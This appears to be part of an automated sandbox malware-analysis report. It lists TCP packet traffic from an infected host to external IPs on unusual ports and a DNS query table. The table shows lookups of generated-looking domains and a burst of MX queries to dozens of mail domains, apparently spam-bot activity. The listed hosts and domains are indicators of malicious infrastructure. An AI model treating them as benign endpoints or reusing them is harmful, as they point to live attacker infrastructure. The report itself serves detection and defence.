Dec 2, 2023 18:01:56.573959112 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.573987007 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.574024916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.574028969 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.574063063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.574098110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.574105024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.574135065 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.574172020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.574177980 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.574210882 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.574248075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.574250937 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.574285030 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.574321032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.574326992 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.574357033 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.574393034 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.574398041 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.574429989 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.574466944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.574480057 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.574503899 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.574543953 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.574561119 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.574719906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.574758053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.574763060 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.574850082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.574887037 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.574889898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.575229883 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.575268984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.575278044 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.575309992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.575345993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.575350046 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.575392962 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.575429916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.575433016 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.575467110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.575505018 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.575512886 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.575544119 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.575581074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.575588942 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.575622082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.575660944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.575689077 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.575697899 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.575737953 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.575746059 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.575777054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.575814009 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.575817108 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.575854063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.575890064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.575894117 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.575930119 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.575967073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.575973034 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.576005936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.576044083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.576050997 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.576082945 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.576118946 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.576123953 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.576158047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.576196909 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.576205969 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.576235056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.576275110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.576278925 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.576314926 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.576351881 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.576364040 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.785361052 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:57.199996948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:57.200047016 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:57.447441101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:57.597810984 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:02:01.870749950 CET	49716	34368	192.168.2.7	38.47.221.193
Dec 2, 2023 18:02:02.205075979 CET	34368	49716	38.47.221.193	192.168.2.7
Dec 2, 2023 18:02:02.205166101 CET	49716	34368	192.168.2.7	38.47.221.193
Dec 2, 2023 18:02:02.216851950 CET	49716	34368	192.168.2.7	38.47.221.193
Dec 2, 2023 18:02:02.631215096 CET	34368	49716	38.47.221.193	192.168.2.7
Dec 2, 2023 18:02:02.681607962 CET	49716	34368	192.168.2.7	38.47.221.193
Dec 2, 2023 18:02:03.153373003 CET	34368	49716	38.47.221.193	192.168.2.7
Dec 2, 2023 18:02:03.186261892 CET	49719	24324	192.168.2.7	193.233.132.48
Dec 2, 2023 18:02:03.394747972 CET	49716	34368	192.168.2.7	38.47.221.193
Dec 2, 2023 18:02:04.285386086 CET	49719	24324	192.168.2.7	193.233.132.48
Dec 2, 2023 18:02:04.536274910 CET	24324	49719	193.233.132.48	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 2, 2023 18:01:25.589085102 CET	192.168.2.7	1.1.1.1	0xa2f6	Standard query (0)	onualituyrs.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:26.582317114 CET	192.168.2.7	1.1.1.1	0xa2f6	Standard query (0)	onualituyrs.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:26.985228062 CET	192.168.2.7	1.1.1.1	0x67a	Standard query (0)	sumagulituyo.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:27.988715887 CET	192.168.2.7	1.1.1.1	0x67a	Standard query (0)	sumagulituyo.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:30.846776962 CET	192.168.2.7	1.1.1.1	0x949b	Standard query (0)	snukerukeutit.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:31.847984076 CET	192.168.2.7	1.1.1.1	0x949b	Standard query (0)	snukerukeutit.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:32.863692999 CET	192.168.2.7	1.1.1.1	0x949b	Standard query (0)	snukerukeutit.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:33.355973959 CET	192.168.2.7	1.1.1.1	0x53fd	Standard query (0)	lightseinsteniki.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:35.152347088 CET	192.168.2.7	1.1.1.1	0x88b9	Standard query (0)	liuliuoumumy.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:36.144804001 CET	192.168.2.7	1.1.1.1	0x88b9	Standard query (0)	liuliuoumumy.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:37.160505056 CET	192.168.2.7	1.1.1.1	0x88b9	Standard query (0)	liuliuoumumy.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:38.644587994 CET	192.168.2.7	1.1.1.1	0x5cc3	Standard query (0)	stualialuyastrelia.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:46.793657064 CET	192.168.2.7	1.1.1.1	0xd79a	Standard query (0)	atozrental.cc	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:01:48.430073977 CET	192.168.2.7	1.1.1.1	0xd79a	Standard query (0)	atozrental.cc	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:11.908646107 CET	192.168.2.7	1.1.1.1	0x9fec	Standard query (0)	VGAAeTDAoKrnpnEttuSRXBVbDqU.VGAAeTDAoKrnpnEttuSRXBVbDqU	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:15.450237989 CET	192.168.2.7	1.1.1.1	0xa5cf	Standard query (0)	legdfls2369.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:26.402416945 CET	192.168.2.7	1.1.1.1	0x327c	Standard query (0)	humydrole.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:27.420694113 CET	192.168.2.7	1.1.1.1	0x327c	Standard query (0)	humydrole.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:28.447457075 CET	192.168.2.7	1.1.1.1	0x327c	Standard query (0)	humydrole.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:02:49.877459049 CET	192.168.2.7	1.1.1.1	0xeeaa	Standard query (0)	dskflherlkhopihsf.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:30.756652117 CET	192.168.2.7	1.1.1.1	0x353a	Standard query (0)	lsacwbij.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.878786087 CET	192.168.2.7	1.1.1.1	0xf062	Standard query (0)	mailchme.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.880692005 CET	192.168.2.7	1.1.1.1	0xfeed	Standard query (0)	yekai.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.882560015 CET	192.168.2.7	1.1.1.1	0x8d91	Standard query (0)	giannicastellani.it	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.885200977 CET	192.168.2.7	1.1.1.1	0x6377	Standard query (0)	gztit.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.887792110 CET	192.168.2.7	1.1.1.1	0x73dc	Standard query (0)	airanatoliava.org	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.888500929 CET	192.168.2.7	1.1.1.1	0x50c8	Standard query (0)	jqpgnp.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.894653082 CET	192.168.2.7	1.1.1.1	0x4fbb	Standard query (0)	knpzwm.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.915954113 CET	192.168.2.7	1.1.1.1	0x17c5	Standard query (0)	weiberg.de	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.940706968 CET	192.168.2.7	1.1.1.1	0xb98b	Standard query (0)	xfuainui.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.971091032 CET	192.168.2.7	1.1.1.1	0x9db9	Standard query (0)	yah0o.es	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.977554083 CET	192.168.2.7	1.1.1.1	0xbba7	Standard query (0)	axtkmooehtnfekmooefv.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.988456964 CET	192.168.2.7	1.1.1.1	0x89e7	Standard query (0)	luminus-media.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.991146088 CET	192.168.2.7	1.1.1.1	0x9c7c	Standard query (0)	donankohatsu.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.991395950 CET	192.168.2.7	1.1.1.1	0x554a	Standard query (0)	yelvertonbrook.com.au	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.991590023 CET	192.168.2.7	1.1.1.1	0xdc76	Standard query (0)	databul.com.tr	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.991872072 CET	192.168.2.7	1.1.1.1	0x748d	Standard query (0)	zadaca.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.992192984 CET	192.168.2.7	1.1.1.1	0x1424	Standard query (0)	yeehop.com.hk	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.993038893 CET	192.168.2.7	1.1.1.1	0x32b	Standard query (0)	crbj.org.il	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.993371010 CET	192.168.2.7	1.1.1.1	0xd93e	Standard query (0)	ersvp.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.993463993 CET	192.168.2.7	1.1.1.1	0x5ddb	Standard query (0)	ezdesign.net	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.994749069 CET	192.168.2.7	1.1.1.1	0x636b	Standard query (0)	ldrshipcoach.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.995276928 CET	192.168.2.7	1.1.1.1	0xa976	Standard query (0)	reqifgccowel.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.995491982 CET	192.168.2.7	1.1.1.1	0x3137	Standard query (0)	b-rose.de	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.995908022 CET	192.168.2.7	1.1.1.1	0x351b	Standard query (0)	lrrcenter.org	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.996064901 CET	192.168.2.7	1.1.1.1	0x9b0c	Standard query (0)	hldxxjgzeopbcgaagmail.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.996337891 CET	192.168.2.7	1.1.1.1	0xa5f4	Standard query (0)	yes163.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.996570110 CET	192.168.2.7	1.1.1.1	0x217b	Standard query (0)	zlig.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.997029066 CET	192.168.2.7	1.1.1.1	0x5c7f	Standard query (0)	yel168.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.997150898 CET	192.168.2.7	1.1.1.1	0x16f6	Standard query (0)	omdhggzx.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.997437954 CET	192.168.2.7	1.1.1.1	0x1370	Standard query (0)	wisnuwardhana.ac.id	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.997809887 CET	192.168.2.7	1.1.1.1	0x5955	Standard query (0)	trb61.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.997948885 CET	192.168.2.7	1.1.1.1	0x8dc	Standard query (0)	takin-co.ir	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.998265982 CET	192.168.2.7	1.1.1.1	0xed42	Standard query (0)	tkzttitrygbx.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.998836994 CET	192.168.2.7	1.1.1.1	0x7e67	Standard query (0)	luminous-path.de	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.999291897 CET	192.168.2.7	1.1.1.1	0x446a	Standard query (0)	egddtd.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.999502897 CET	192.168.2.7	1.1.1.1	0x7fdf	Standard query (0)	dieihuyz.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:30.999789000 CET	192.168.2.7	1.1.1.1	0xc361	Standard query (0)	vanweissenbruch.nl	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.000623941 CET	192.168.2.7	1.1.1.1	0x1c6d	Standard query (0)	kfysyscc.org	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.000946045 CET	192.168.2.7	1.1.1.1	0x65cb	Standard query (0)	326188.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.001518011 CET	192.168.2.7	1.1.1.1	0xc4ab	Standard query (0)	yabeetowel.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.018855095 CET	192.168.2.7	1.1.1.1	0x760f	Standard query (0)	delightfulhouses.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.082278013 CET	192.168.2.7	1.1.1.1	0x9669	Standard query (0)	mailchme.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:31.108330965 CET	192.168.2.7	1.1.1.1	0xc220	Standard query (0)	yekai.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:31.109057903 CET	192.168.2.7	1.1.1.1	0x5e8b	Standard query (0)	gztit.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:31.109539986 CET	192.168.2.7	1.1.1.1	0x41f7	Standard query (0)	giannicastellani.it	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:31.109937906 CET	192.168.2.7	1.1.1.1	0x532e	Standard query (0)	jqpgnp.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:31.110605001 CET	192.168.2.7	1.1.1.1	0xb2d1	Standard query (0)	airanatoliava.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:31.111610889 CET	192.168.2.7	1.1.1.1	0x41d8	Standard query (0)	lsacwbij.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:31.123963118 CET	192.168.2.7	1.1.1.1	0x88ad	Standard query (0)	enchanteddesignsanmore.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.123990059 CET	192.168.2.7	1.1.1.1	0x42d3	Standard query (0)	msnal.net	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.124491930 CET	192.168.2.7	1.1.1.1	0x8afb	Standard query (0)	arsonsisi.com.tr	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.124519110 CET	192.168.2.7	1.1.1.1	0xe30f	Standard query (0)	parisienne-moonlight.net	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.124813080 CET	192.168.2.7	1.1.1.1	0xc349	Standard query (0)	escortracing.org	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.124901056 CET	192.168.2.7	1.1.1.1	0x197c	Standard query (0)	ape4jewelry.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.125185013 CET	192.168.2.7	1.1.1.1	0xc3da	Standard query (0)	ancoracenter.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.125264883 CET	192.168.2.7	1.1.1.1	0x9c47	Standard query (0)	furnscales.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.126198053 CET	192.168.2.7	1.1.1.1	0xaa04	Standard query (0)	gatewaytogames.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.374020100 CET	192.168.2.7	1.1.1.1	0x9cbf	Standard query (0)	maksimp.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.379792929 CET	192.168.2.7	1.1.1.1	0xd35c	Standard query (0)	strokin.info	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.407155037 CET	192.168.2.7	1.1.1.1	0xa226	Standard query (0)	volodin.org	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.722760916 CET	192.168.2.7	1.1.1.1	0xea1c	Standard query (0)	untitled.ws	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.722760916 CET	192.168.2.7	1.1.1.1	0x8153	Standard query (0)	wgglaw.net	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.726305008 CET	192.168.2.7	1.1.1.1	0x2a9f	Standard query (0)	gotcf.net	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.726562023 CET	192.168.2.7	1.1.1.1	0xf956	Standard query (0)	winit.co.il	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.726876974 CET	192.168.2.7	1.1.1.1	0x8a6a	Standard query (0)	limit8design.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.728102922 CET	192.168.2.7	1.1.1.1	0x101a	Standard query (0)	verer.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.776281118 CET	192.168.2.7	1.1.1.1	0x6f5c	Standard query (0)	stylishsoiree.com	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:32.129797935 CET	192.168.2.7	1.1.1.1	0x32b	Standard query (0)	crbj.org.il	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:32.132687092 CET	192.168.2.7	1.1.1.1	0x4a77	Standard query (0)	knpzwm.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.136243105 CET	192.168.2.7	1.1.1.1	0x1542	Standard query (0)	weiberg.de	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.136243105 CET	192.168.2.7	1.1.1.1	0x82e3	Standard query (0)	xfuainui.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.136243105 CET	192.168.2.7	1.1.1.1	0x5a6a	Standard query (0)	axtkmooehtnfekmooefv.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.138025045 CET	192.168.2.7	1.1.1.1	0x4f1	Standard query (0)	luminus-media.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.138025045 CET	192.168.2.7	1.1.1.1	0xa87a	Standard query (0)	yah0o.es	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.139493942 CET	192.168.2.7	1.1.1.1	0xd151	Standard query (0)	donankohatsu.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.144581079 CET	192.168.2.7	1.1.1.1	0xbb46	Standard query (0)	yabeetowel.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.144581079 CET	192.168.2.7	1.1.1.1	0xd68d	Standard query (0)	yeehop.com.hk	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.145158052 CET	192.168.2.7	1.1.1.1	0xf8c4	Standard query (0)	326188.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.145180941 CET	192.168.2.7	1.1.1.1	0x34a0	Standard query (0)	kfysyscc.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.145267963 CET	192.168.2.7	1.1.1.1	0x67b4	Standard query (0)	vanweissenbruch.nl	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.145503044 CET	192.168.2.7	1.1.1.1	0x8e0e	Standard query (0)	tkzttitrygbx.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.147005081 CET	192.168.2.7	1.1.1.1	0xd8a4	Standard query (0)	dieihuyz.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.147105932 CET	192.168.2.7	1.1.1.1	0xfc5b	Standard query (0)	luminous-path.de	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.376121044 CET	192.168.2.7	1.1.1.1	0xf956	Standard query (0)	winit.co.il	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:32.376121044 CET	192.168.2.7	1.1.1.1	0xd0	Standard query (0)	takin-co.ir	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.376637936 CET	192.168.2.7	1.1.1.1	0xcc6d	Standard query (0)	trb61.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.377712965 CET	192.168.2.7	1.1.1.1	0x872	Standard query (0)	egddtd.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.378293991 CET	192.168.2.7	1.1.1.1	0xab96	Standard query (0)	yel168.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.378705025 CET	192.168.2.7	1.1.1.1	0xfcb9	Standard query (0)	wisnuwardhana.ac.id	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.378705025 CET	192.168.2.7	1.1.1.1	0xba92	Standard query (0)	zlig.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.379125118 CET	192.168.2.7	1.1.1.1	0xaa19	Standard query (0)	ape4jewelry.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.379338026 CET	192.168.2.7	1.1.1.1	0x30f0	Standard query (0)	escortracing.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.379733086 CET	192.168.2.7	1.1.1.1	0x62	Standard query (0)	furnscales.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.380192041 CET	192.168.2.7	1.1.1.1	0x74a4	Standard query (0)	parisienne-moonlight.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.380192041 CET	192.168.2.7	1.1.1.1	0x5a0e	Standard query (0)	arsonsisi.com.tr	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.380625963 CET	192.168.2.7	1.1.1.1	0x8a8a	Standard query (0)	yelvertonbrook.com.au	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.381263971 CET	192.168.2.7	1.1.1.1	0x9196	Standard query (0)	msnal.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.381263971 CET	192.168.2.7	1.1.1.1	0xf0c4	Standard query (0)	b-rose.de	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.382986069 CET	192.168.2.7	1.1.1.1	0x1077	Standard query (0)	lrrcenter.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.382986069 CET	192.168.2.7	1.1.1.1	0xde2f	Standard query (0)	hldxxjgzeopbcgaagmail.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.383347034 CET	192.168.2.7	1.1.1.1	0xfd68	Standard query (0)	yes163.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.383605003 CET	192.168.2.7	1.1.1.1	0xfc06	Standard query (0)	omdhggzx.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.385885954 CET	192.168.2.7	1.1.1.1	0x75c3	Standard query (0)	wgglaw.net	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.386229992 CET	192.168.2.7	1.1.1.1	0x1c4a	Standard query (0)	maksimp.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.386614084 CET	192.168.2.7	1.1.1.1	0xe27b	Standard query (0)	gatewaytogames.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.387034893 CET	192.168.2.7	1.1.1.1	0x664b	Standard query (0)	verer.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.387034893 CET	192.168.2.7	1.1.1.1	0x525d	Standard query (0)	volodin.org	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.387411118 CET	192.168.2.7	1.1.1.1	0x238a	Standard query (0)	untitled.ws	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.387708902 CET	192.168.2.7	1.1.1.1	0x133c	Standard query (0)	stylishsoiree.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.387985945 CET	192.168.2.7	1.1.1.1	0xb914	Standard query (0)	enchanteddesignsanmore.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.388947964 CET	192.168.2.7	1.1.1.1	0xffec	Standard query (0)	winit.co.il	A (IP address)	IN (0x0001)	false
